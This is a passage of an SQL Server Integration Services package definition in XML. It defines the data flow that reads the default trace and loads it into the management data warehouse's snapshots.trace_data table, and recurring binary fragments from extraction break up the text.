dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NTUserName]" name="NTUserName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NTDomainName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NTDomainName]" name="NTDomainName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[HostName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[HostName]" name="HostName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ClientProcessID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ClientProcessID]" name="ClientProcessID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ApplicationName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ApplicationName]" name="ApplicationName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LoginName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LoginName]" name="LoginName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SPID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SPID]" name="SPID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Duration]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Duration]" name="Duration"/	!!!!!!!!!!!!!!!!!!!!!!!!`3[zNHv><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[StartTime]" dataType="dbTimeStamp" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[StartTime]" name="StartTime"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EndTime]" dataType="dbTimeStamp" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EndTime]" name="EndTime"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Reads]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Reads]" name="Reads"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Writes]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Writes]" name="Writes"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[CPU]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[CPU]" name="CPU"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Permissions]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Permissions]" name="Permissions"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Severity]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Severity]" name="Severity"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventSubClass]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventSubClass]" name="EventSubClass"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectID]" name="ObjectID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Success]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Success]" name="Success"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IndexID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IndexID]" name="IndexID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IntegerData]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - R	!!!!!!!!!!!!!!!!!!!!!!!!`3	?Hvead trace.Outputs[OLE DB Source Error Output].Columns[IntegerData]" name="IntegerData"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ServerName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ServerName]" name="ServerName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventClass]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventClass]" name="EventClass"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectType]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectType]" name="ObjectType"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NestLevel]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NestLevel]" name="NestLevel"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[State]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[State]" name="State"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Error]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Error]" name="Error"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Mode]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Mode]" name="Mode"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Handle]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Handle]" name="Handle"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectName]" name="ObjectName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DatabaseName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DatabaseName]" name="DatabaseName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[FileName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[FileName]" name="FileName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE D	!!!!!!!!!!!!!!!!!!!!!!!!`3!KfHvB Source Error Output].Columns[OwnerName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[OwnerName]" name="OwnerName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RoleName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RoleName]" name="RoleName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetUserName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetUserName]" name="TargetUserName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DBUserName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DBUserName]" name="DBUserName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LoginSid]" dataType="image" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LoginSid]" name="LoginSid"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetLoginName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetLoginName]" name="TargetLoginName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetLoginSid]" dataType="image" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TargetLoginSid]" name="TargetLoginSid"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ColumnPermissions]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ColumnPermissions]" name="ColumnPermissions"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LinkedServerName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LinkedServerName]" name="LinkedServerName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ProviderName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ProviderName]" name="ProviderName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[MethodName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[MethodName]" name="MethodName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source	!!!!!!!!!!!!!!!!!!!!!!!!`44Hv Error Output].Columns[RowCounts]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RowCounts]" name="RowCounts"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RequestID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[RequestID]" name="RequestID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[XactSequence]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[XactSequence]" name="XactSequence"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventSequence]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[EventSequence]" name="EventSequence"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BigintData1]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BigintData1]" name="BigintData1"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BigintData2]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BigintData2]" name="BigintData2"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[GUID]" dataType="guid" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[GUID]" name="GUID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IntegerData2]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IntegerData2]" name="IntegerData2"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectID2]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectID2]" name="ObjectID2"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Type]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Type]" name="Type"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[OwnerID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[OwnerID]" name="OwnerID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ParentName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ParentName]" name="Paren	!!!!!!!!!!!!!!!!!!!!!!!!`4THvtName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IsSystem]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IsSystem]" name="IsSystem"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Offset]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Offset]" name="Offset"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SourceDatabaseID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SourceDatabaseID]" name="SourceDatabaseID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SqlHandle]" dataType="image" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SqlHandle]" name="SqlHandle"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SessionLoginName]" dataType="wstr" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SessionLoginName]" name="SessionLoginName"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[PlanHandle]" dataType="image" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[PlanHandle]" name="PlanHandle"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[GroupID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[GroupID]" name="GroupID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info" componentClassID="{93FFEC66-CBC8-4C7F-9C6A-CB1C17A7567D}" contactInfo="OLE DB Command;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;2" description="Executes an SQL command for each row in a dataset." name="ODB - Update trace_info" usesDispositions="true" version="2"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="The SQL command to be executed." expressionType="N	!!!!!!!!!!!!!!!!!!!!!!!!`4	bDHvotify" name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">{call snapshots.sp_trace_update_info(?, ?, ?, ?, ?, ?)}</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property></properties><connections><connection refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input]" errorOrTruncationOperation="Command Execution" errorRowDisposition="FailComponent" hasSideEffects="true" name="OLE DB Command Input"><inputColumns><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[trace_info_id]" cachedDataType="i4" cachedName="trace_info_id" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@trace_info_id]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[trace_info_id]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@snapshot_id]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[snapshot_id]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[is_running]" cachedDataType="i4" cachedName="is_running" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@is_running]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[is_running]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[event_count]" cachedDataType="ui8" cachedName="event_count" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@event_count]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[event_count]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[dropped_event_count]" cachedDataType="i4" cachedName="dropped_event_count" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@dropped_event_count]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[dropped_event_count]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs	!!!!!!!!!!!!!!!!!!!!!!!!`4
h@Hv[OLE DB Command Input].Columns[last_event_sequence]" cachedDataType="i8" cachedName="last_event_sequence" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@last_event_sequence]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[last_event_sequence]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@trace_info_id]" dataType="i4" name="@trace_info_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@snapshot_id]" dataType="i4" name="@snapshot_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@is_running]" dataType="bool" name="@is_running"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">65</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@event_count]" dataType="i8" name="@event_count"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@dropped_event_count]" dataType="i4" name="@dropped_event_count"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@last_event_sequence]" dataType="i8" name="@last_event_sequence"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn></externalMetadataColumns></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Outputs[OLE DB Command Output]" exclusionGroup="1" name="OLE DB Command Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input]"><externalMetadataColumns/></output><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Command Error Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input]"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output].Columns[ErrorCode]" dataType="i4" lineageId=	!!!!!!!!!!!!!!!!!!!!!!!!`4TPHv"Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table" componentClassID="{4ADA7EAA-136C-4215-8098-D7A7C27FC0D1}" contactInfo="OLE DB Destination;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="OLE DB Destination" name="ODB - Write to output table" usesDispositions="true" validateExternalMetadata="False" version="4"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset">[snapshots].[trace_data]</property><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.Boolean" description="Indicates whether the values supplied for identity columns will be copied to the destination. If false, values for identity columns will be auto-generated at the destination. Applies only if fast load is turned on." 